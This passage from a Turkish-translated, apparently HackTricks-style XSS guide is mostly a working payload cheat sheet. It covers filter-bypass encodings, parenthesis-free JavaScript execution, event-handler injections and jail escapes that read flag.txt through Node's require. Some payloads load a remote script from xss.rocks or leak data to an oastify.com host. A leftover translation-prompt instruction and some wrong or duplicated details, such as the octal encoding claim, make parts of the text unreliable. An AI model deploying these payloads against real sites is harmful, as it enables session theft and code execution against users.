Bu teknik, kötü amaçlı kodun giriş doğrulamasını atlatarak hedef sistemde çalışmasını sağlamak için kodun kodlanmış bir şekilde kullanılmasını içerir. Kodu kodladığınızda, güvenlik önlemlerinin bunu tespit etmesi ve engellemesi daha zor hale gelir.
HTML Entity Encoding
One common method of encoding is HTML entity encoding. In this technique, special characters are replaced with their corresponding HTML entities. For example, the less-than sign <
is replaced with <
and the greater-than sign >
is replaced with >
. This encoding ensures that the code is treated as plain text by the browser and does not execute as HTML.
HTML Varlık Kodlaması
Kodlamanın yaygın bir yöntemi HTML varlık kodlamasıdır. Bu teknikte, özel karakterler, karşılık gelen HTML varlıklarıyla değiştirilir. Örneğin, küçüktür işareti <
<
ile değiştirilir ve büyüktür işareti >
>
ile değiştirilir. Bu kodlama, kodun tarayıcı tarafından düz metin olarak işlenmesini ve HTML olarak çalıştırılmamasını sağlar.
URL Encoding
Another method is URL encoding, where special characters are replaced with their corresponding percent-encoded values. For example, the space character is replaced with %20
and the double quote character "
is replaced with %22
. This encoding ensures that the code is treated as plain text in the URL and does not execute as part of the URL.
URL Kodlaması
Başka bir yöntem URL kodlamasıdır, burada özel karakterler, karşılık gelen yüzde kodlanmış değerleriyle değiştirilir. Örneğin, boşluk karakteri %20
ile değiştirilir ve çift tırnak karakteri "
%22
ile değiştirilir. Bu kodlama, kodun URL içinde düz metin olarak işlenmesini ve URL'nin bir parçası olarak çalıştırılmamasını sağlar.
JavaScript Encoding
JavaScript encoding involves replacing special characters with their Unicode representations. For example, the less-than sign <
is replaced with \u003c
and the greater-than sign >
is replaced with \u003e
. This encoding ensures that the code is treated as plain text by the JavaScript interpreter and does not execute as JavaScript.
JavaScript Kodlaması
JavaScript kodlaması, özel karakterleri Unicode temsilleriyle değiştirmeyi içerir. Örneğin, küçüktür işareti <
\u003c
ile değiştirilir ve büyüktür işareti >
\u003e
ile değiştirilir. Bu kodlama, kodun JavaScript yorumlayıcısı tarafından düz metin olarak işlenmesini ve JavaScript olarak çalıştırılmamasını sağlar.
Base64 Encoding
Base64 encoding is another method that can be used to encode code. In this technique, the code is converted into a base64 representation, which consists of alphanumeric characters and a few special characters. This encoding ensures that the code is not easily recognizable and can bypass certain security filters.
Base64 Kodlaması
Base64 kodlaması, kodu kodlamak için kullanılabilecek başka bir yöntemdir. Bu teknikte, kod, alfasayısal karakterlerden ve birkaç özel karakterden oluşan bir base64 temsiline dönüştürülür. Bu kodlama, kodun kolayca tanınmamasını ve belirli güvenlik filtrelerini atlamasını sağlar.
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Kodlama ile JS Yürütme
Bu yöntem, JavaScript kodunu Unicode karakterlerine dönüştürerek XSS saldırısı gerçekleştirmek için kullanılır. Bu şekilde, filtreleme veya kod analizi gibi güvenlik önlemlerinden kaçınabilirsiniz.
Adım 1: JavaScript Kodunu Unicode Karakterlere Dönüştürme
JavaScript kodunu Unicode karakterlere dönüştürmek için String.fromCharCode()
fonksiyonunu kullanabilirsiniz. Her karakterin Unicode değerini belirtmek için \u
önekini kullanmanız gerekmektedir.
Örneğin, <script>alert('XSS')</script>
kodunu Unicode karakterlere dönüştürmek için aşağıdaki JavaScript kodunu kullanabilirsiniz:
var payload = '';
payload += String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62); // <script>
payload += String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39); // alert('XSS')
payload += String.fromCharCode(60, 47, 115, 99, 114, 105, 112, 116, 62); // </script>
Adım 2: Dönüştürülmüş Kodu HTML içine yerleştirme
Dönüştürülmüş JavaScript kodunu HTML içine yerleştirmek için <script>
etiketini kullanabilirsiniz. Örneğin:
<input type="text" value="<script>alert('XSS')</script>">
Bu şekilde, JavaScript kodu çalıştırıldığında, alert('XSS')
ifadesi ekranda bir uyarı mesajı olarak görüntülenecektir.
Önlemler
Bu saldırı yönteminden korunmak için giriş verilerini doğru bir şekilde filtrelemek veya kaçış karakterlerini işlemek önemlidir. Ayrıca, güvenlik duvarları ve tarayıcı filtreleri gibi koruma mekanizmalarını kullanmak da önemlidir.
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
JavaScript siyah liste atlatma teknikleri
Dizeler
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Özel kaçış karakterleri
In some cases, the traditional HTML entities may not work to escape special characters in XSS attacks. In such situations, you can use special escape sequences to bypass filters and inject malicious code. Here are some commonly used special escapes:
-
Double URL encoding: This involves encoding the special characters twice using URL encoding. For example, the
<
character can be encoded as%253C
instead of the traditional%3C
. -
Hex encoding: This method involves encoding the special characters using their hexadecimal representation. For example, the
<
character can be encoded as%3C
in hex. -
Octal encoding: This method involves encoding the special characters using their octal representation. For example, the
<
character can be encoded as%74
in octal. -
CSS escape sequences: This method involves using CSS escape sequences to encode special characters. For example, the
<
character can be encoded as\3C
using CSS escape sequences. -
JavaScript escape sequences: This method involves using JavaScript escape sequences to encode special characters. For example, the
<
character can be encoded as\x3C
using JavaScript escape sequences.
By using these special escape sequences, you can bypass filters and successfully inject malicious code in XSS attacks. However, it is important to note that the effectiveness of these escapes may vary depending on the specific context and filter implementation.
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
JS kodu içindeki boşluk yerine geçen karakterler
Bazı durumlarda, XSS saldırılarında kullanılan JavaScript (JS) kodu içinde boşluk karakterlerini engellemek için farklı karakterler kullanılabilir. Bu, saldırganın kodun algılanmasını zorlaştırarak XSS saldırısını daha etkili hale getirebilir.
Aşağıda, boşluk karakterlerinin yerine geçen bazı karakterlerin bir listesi bulunmaktadır:
%09
: Yatay sekme karakteri%0A
: Yeni satır karakteri%0D
: Satır başı karakteri%0C
: Form besleme karakteri%20
: Boşluk karakteri
Bu karakterler, JS kodunda boşluk karakterlerinin yerine geçerek, saldırganın XSS saldırısını hedef uygulamada başarılı bir şekilde gerçekleştirmesine olanak tanır.
<TAB>
/**/
JavaScript yorumları (JavaScript Yorumları hilesinden)
JavaScript kodunda yorumlar, kodun anlaşılmasını kolaylaştırmak ve açıklamalar eklemek için kullanılır. Yorumlar, tarayıcı tarafından görmezden gelinir ve kodun çalışmasını etkilemez. İki tür JavaScript yorumu vardır:
- Tek satırlık yorumlar:
//
işaretiyle başlar ve o satırın sonuna kadar devam eder. - Çok satırlı yorumlar:
/*
işaretiyle başlar ve*/
işaretiyle biter. İçerisinde birden fazla satır olabilir.
Örnekler:
// Bu bir tek satırlık yorumdur
/*
Bu
bir
çok
satırlı
yorumdur
*/
Yorumlar, XSS saldırıları sırasında kullanışlı olabilir. Örneğin, bir web uygulamasında kullanıcı girişiyle ilgili bir hata mesajı görüntüleniyorsa, saldırgan bu hata mesajına JavaScript kodu ekleyerek XSS saldırısı gerçekleştirebilir.
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript yeni satırlar (JavaScript yeni satır hilesinden)
JavaScript'de, bir dize içinde yeni satırlar oluşturmanın farklı yolları vardır. Bu, XSS saldırıları sırasında kullanışlı olabilir. İşte bazı yöntemler:
-
\n: Bu, bir dize içinde yeni bir satır oluşturmanın en basit yoludur. Örneğin:
alert('Satır 1\nSatır 2');
-
\r: Bu, bir dize içinde bir satırın başına dönüş karakteri ekler. Örneğin:
alert('Satır 1\rSatır 2');
-
\r\n: Bu, bir dize içinde bir satırın başına dönüş karakteri ve yeni satır karakteri ekler. Örneğin:
alert('Satır 1\r\nSatır 2');
Bu yöntemler, XSS saldırıları sırasında payload'ları daha etkili bir şekilde gizlemek veya kodu daha okunabilir hale getirmek için kullanılabilir. Ancak, hedef uygulamanın bu karakterleri doğru bir şekilde işlemesi gerekmektedir.
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript boşlukları
JavaScript'de boşluklar, kodun okunabilirliğini artırmak ve düzenlemek için kullanılan karakterlerdir. Boşluklar, kodun anlaşılmasını kolaylaştırır ve yazılım geliştirme sürecinde hataları önlemeye yardımcı olur. JavaScript'de kullanılan boşluk türleri şunlardır:
- Boşluklar: Normal boşluk karakterleri, kodun okunabilirliğini artırmak için kullanılır. Bu boşluklar, kodun farklı bölümlerini ayırmak ve düzenlemek için kullanılır.
- Satır Sonu Boşlukları: Satır sonu boşlukları, kodun satır sonlarında kullanılan boşluklardır. Bu boşluklar, kodun düzenini korumak ve okunabilirliği artırmak için kullanılır.
- Sekme Boşlukları: Sekme boşlukları, kodun içindeki girintileri belirtmek için kullanılır. Bu boşluklar, kodun yapısını görsel olarak anlaşılır hale getirir.
- Yeni Satır Boşlukları: Yeni satır boşlukları, kodun farklı satırlara bölünmesini sağlar. Bu boşluklar, kodun düzenini ve okunabilirliğini artırır.
JavaScript'de boşluklar, kodun çalışmasını etkilemez. Ancak, kodun okunabilirliğini artırmak ve düzenlemek için doğru bir şekilde kullanılması önemlidir.
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Yorum içinde Javascript
Bir web uygulamasında, kullanıcıların yorum yapabildiği bir alan varsa, bu alanda Javascript kodu çalıştırarak XSS saldırısı gerçekleştirilebilir. Yorumlar genellikle HTML içinde <!-- -->
etiketleri arasında yer alır ve bu etiketler Javascript kodunun çalışmasını engellemez. Bu nedenle, kötü niyetli bir kullanıcı, yorum alanına Javascript kodunu ekleyerek, bu kodun diğer kullanıcılar tarafından görüntülenmesini sağlayabilir.
Örneğin, aşağıdaki Javascript kodu, yorum alanına eklenirse, bu kod diğer kullanıcılar tarafından tarayıcıda çalıştırılır:
<script>alert('XSS Attack!');</script>
Bu kod, tarayıcıda bir uyarı penceresi açarak "XSS Attack!" mesajını görüntüler. Bu saldırı, kullanıcıların tarayıcılarında istenmeyen işlemlerin gerçekleştirilmesine yol açabilir ve kullanıcıların gizli bilgilerini çalabilir veya kötü amaçlı bir saldırganın kontrolü altına alabilir.
Bu tür bir saldırıyı önlemek için, giriş alanlarındaki kullanıcı verileri iyi bir şekilde doğrulanmalı ve filtrelenmelidir. Kullanıcı girişleri, HTML etiketlerini veya Javascript kodunu etkisiz hale getirecek şekilde işlenmelidir. Ayrıca, güvenlik duvarları ve güvenlik testleri gibi ek önlemler almak da önemlidir.
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
Parantez kullanmadan JavaScript
Bazı durumlarda, JavaScript kodunu parantez kullanmadan çalıştırabilirsiniz. Bu, XSS saldırıları sırasında kullanışlı olabilir. Aşağıda, parantez kullanmadan JavaScript kodu çalıştırmak için kullanılan bazı teknikler bulunmaktadır:
- Template Literals: Template literals (şablon dizeleri), geri tırnak işareti (`) ile tanımlanan ve içerisinde JavaScript kodu yazılabilen dizelerdir. Bu yöntem, XSS saldırıları sırasında kullanıcıdan gelen verileri etkili bir şekilde çalıştırmak için kullanılabilir.
Örnek:
const payload = `alert('XSS')`;
- Event Handlers: HTML etiketlerindeki olay işleyicileri, JavaScript kodunu doğrudan çalıştırmak için kullanılabilir. Örneğin,
<img>
etiketi içindekionerror
olayı, hedef web sayfasında JavaScript kodunu tetikleyebilir.
Örnek:
<img src="invalid-image" onerror="alert('XSS')">
- HTML Attributes: HTML etiketlerindeki bazı öznitelikler, JavaScript kodunu çalıştırmak için kullanılabilir. Örneğin,
<a>
etiketi içindekihref
özniteliği, JavaScript kodunu çalıştırabilir.
Örnek:
<a href="javascript:alert('XSS')">Click me</a>
Bu teknikler, XSS saldırıları sırasında kullanılan yaygın yöntemlerdir. Ancak, bu tür saldırılara karşı korunmak için güvenlik önlemleri almak önemlidir.
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Keyfi fonksiyon (alert) çağrısı
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM zafiyetleri
Bir saldırgan tarafından kontrol edilen güvensiz verilerin kullanıldığı location.href
gibi JS kodu bulunmaktadır. Bir saldırgan, bunu isteğe bağlı JS kodunu yürütmek için istismar edebilir.
DOM zafiyetlerinin açıklamasının genişletilmesi nedeniyle bu sayfaya taşındı:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Orada, DOM zafiyetlerinin ne olduğu, nasıl provoke edildiği ve nasıl istismar edileceği hakkında detaylı bir açıklama bulacaksınız.
Ayrıca, bahsi geçen yazının sonunda DOM Clobbering saldırıları hakkında bir açıklama bulabileceğinizi unutmayın.
Diğer Geçişler
Normalleştirilmiş Unicode
Sunucuda (veya istemci tarafında) yansıyan değerlerin unicode normalleştirilip normalleştirilmediğini kontrol edebilir ve bu işlevselliği korumaları atlatmak için istismar edebilirsiniz. Bir örnek burada bulunabilir.
PHP FILTER_VALIDATE_EMAIL bayrağı Atlatması
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
RoR kitle atama nedeniyle tırnaklar HTML'e eklenir ve ardından tırnak kısıtlaması atlatılır ve etiketin içine ekstra alanlar (onfocus) eklenir.
Örnek form (bu rapordan), eğer aşağıdaki payload'u gönderirseniz:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Çift "Anahtar","Değer" şu şekilde geri döndürülecektir:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Özel kombinasyonlar
Some special combinations of characters can be used to bypass certain filters or to execute XSS attacks in specific contexts. Here are some examples:
Bazı özel karakter kombinasyonları, belirli filtreleri atlamak veya belirli bağlamlarda XSS saldırıları gerçekleştirmek için kullanılabilir. İşte bazı örnekler:
Double Quotes and Single Quotes
Çift Tırnaklar ve Tek Tırnaklar
In some cases, using both double quotes ("
) and single quotes ('
) can help bypass filters that only consider one type of quote. For example:
Bazı durumlarda, hem çift tırnak ("
) hem de tek tırnak ('
) kullanmak, sadece bir tür tırnak düşünen filtreleri atlamaya yardımcı olabilir. Örneğin:
<input type="text" value='"><img src=x onerror=alert(1)>'>
HTML Entities
HTML Karakterleri
Using HTML entities can help bypass filters that attempt to detect and block certain characters. For example:
HTML karakterlerini kullanmak, belirli karakterleri tespit etmeye ve engellemeye çalışan filtreleri atlamaya yardımcı olabilir. Örneğin:
<input type="text" value=""><img src=x onerror=alert(1)>">
JavaScript Escape Sequences
JavaScript Kaçış Dizileri
JavaScript escape sequences can be used to bypass filters that attempt to detect and block certain characters. For example:
JavaScript kaçış dizileri, belirli karakterleri tespit etmeye ve engellemeye çalışan filtreleri atlamak için kullanılabilir. Örneğin:
<input type="text" value="\x22><img src=x onerror=alert(1)>">
Event Handlers
Olay İşleyicileri
In some cases, event handlers can be used to execute XSS attacks. For example:
Bazı durumlarda, olay işleyicileri XSS saldırılarını gerçekleştirmek için kullanılabilir. Örneğin:
<input type="text" onfocus="alert(1)">
These are just a few examples of special combinations that can be used in XSS attacks. It's important to understand the context and the specific filters in place in order to effectively bypass them.
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 yanıtında başlık enjeksiyonu ile XSS
Eğer bir 302 Yönlendirme yanıtında başlık enjekte edebiliyorsanız, tarayıcının keyfi JavaScript kodunu çalıştırmasını sağlamayı deneyebilirsiniz. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için kolay değildir, bu yüzden sadece bir cross-site scripting payload yetersiz olacaktır.
Bu raporda ve bu raporda tarayıcının XSS payloadunu gövde içinde incelemesine ve çalıştırmasına izin veren herhangi bir protokolü test edebileceğinizi ve nasıl yapılacağını okuyabilirsiniz.
Bilinen protokoller: mailto://
, //x:1/
, ws://
, wss://
, boş Location başlığı, resource://
.
Sadece Harfler, Rakamlar ve Noktalar
Eğer javascript'in çalıştıracağı geri çağrıyı sadece bu karakterlerle sınırlayabiliyorsanız, bu davranışı istismar etmek için bu bölümü okuyun.
XSS için Geçerli <script>
İçerik Türleri
(Buradan alıntıdır) Eğer application/octet-stream
gibi bir içerik türü ile bir script yüklemeyi denerseniz, Chrome aşağıdaki hatayı verecektir:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome'un yüklenen bir script'i çalıştırmasına izin verecek tek Content-Typelar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc adresindeki kSupportedJavascriptTypes
sabiti içinde bulunanlardır.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS için Script Türleri
(Buradan alıntıdır) Peki, hangi türler bir script yüklemek için kullanılabilir?
<script type="???"></script>
Aşağıdaki, XSS (Cross-Site Scripting) hakkında bir hacking kitabından alınan içeriğin çevirisidir. İlgili İngilizce metni Türkçe'ye çevirin ve çeviriyi aynı markdown ve html sözdizimiyle geri döndürün. Kod, hacking teknik adları, hacking kelimesi, bulut/SaaS platform adları (örneğin Workspace, aws, gcp...), 'sızıntı' kelimesi, pentesting ve markdown etiketleri gibi şeyleri çevirmeyin. Ayrıca çeviri ve markdown sözdizimi dışında herhangi bir ekstra şey eklemeyin.
- modül (varsayılan, açıklanacak bir şey yok)
- webbundle: Web Paketleri, bir dizi veriyi (HTML, CSS, JS...) bir
.wbn
dosyasına paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: İçe aktarma sözdizimini geliştirmeye olanak sağlar.
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Bu davranış, XSS tetikleyebilmek için bir kütüphaneyi kötüye kullanmak için eval'e yeniden eşlemek için bu yazıda kullanılmıştır.
- speculationrules: Bu özellik, ön-rendering tarafından neden olan bazı sorunları çözmek için kullanılır. Çalışma şekli şöyledir:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
XSS için Web İçerik Türleri
(Buradan alınmıştır) Aşağıdaki içerik türleri, tüm tarayıcılarda XSS yürütebilir:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? listede olmasa da CTF'de bunu gördüğümü düşünüyorum)
- application/rss+xml (kapalı)
- application/atom+xml (kapalı)
Diğer tarayıcılarda diğer Content-Type
'lar kullanılarak keyfi JS yürütülebilir, kontrol edin: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml İçerik Türü
Eğer sayfa bir text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve keyfi JS yürütmek mümkündür:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Kalıpları
Bir şeyin "bazı {{şablon}} veri".replace("{{şablon}}", <kullanıcı_girişi>)
şeklinde kullanıldığı durumlarda, saldırgan özel dize değiştirme kullanarak bazı korumaları atlamaya çalışabilir: "123 {{şablon}} 456".replace("{{şablon}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin bu yazıda, bir JSON dizesini bir betiğin içinden kaçırmak ve keyfi kodu çalıştırmak için kullanıldı.
XSS için Chrome Önbelleği
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS Jails Kaçışı
Yalnızca sınırlı bir karakter kümesini kullanabiliyorsanız, XSJail sorunları için bu geçerli çözümlere göz atın:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer güvenilmeyen kodu (örneğin bu yazıda olduğu gibi) yürütmek öncesinde her şey tanımsız ise, keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için "hiçbir şeyden" yararlı nesneler oluşturmak mümkündür:
- import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
require
'a dolaylı erişim
Buna göre modüller Node.js tarafından bir fonksiyon içine sarılır. Örneğin:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, arguments.callee.caller.arguments[1]
kullanarak o fonksiyondan require
'a erişmek mümkündür:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Önceki örnekte olduğu gibi, hata işleyicilerini kullanarak modülün sarmalayıcısına erişmek ve require
fonksiyonunu elde etmek mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
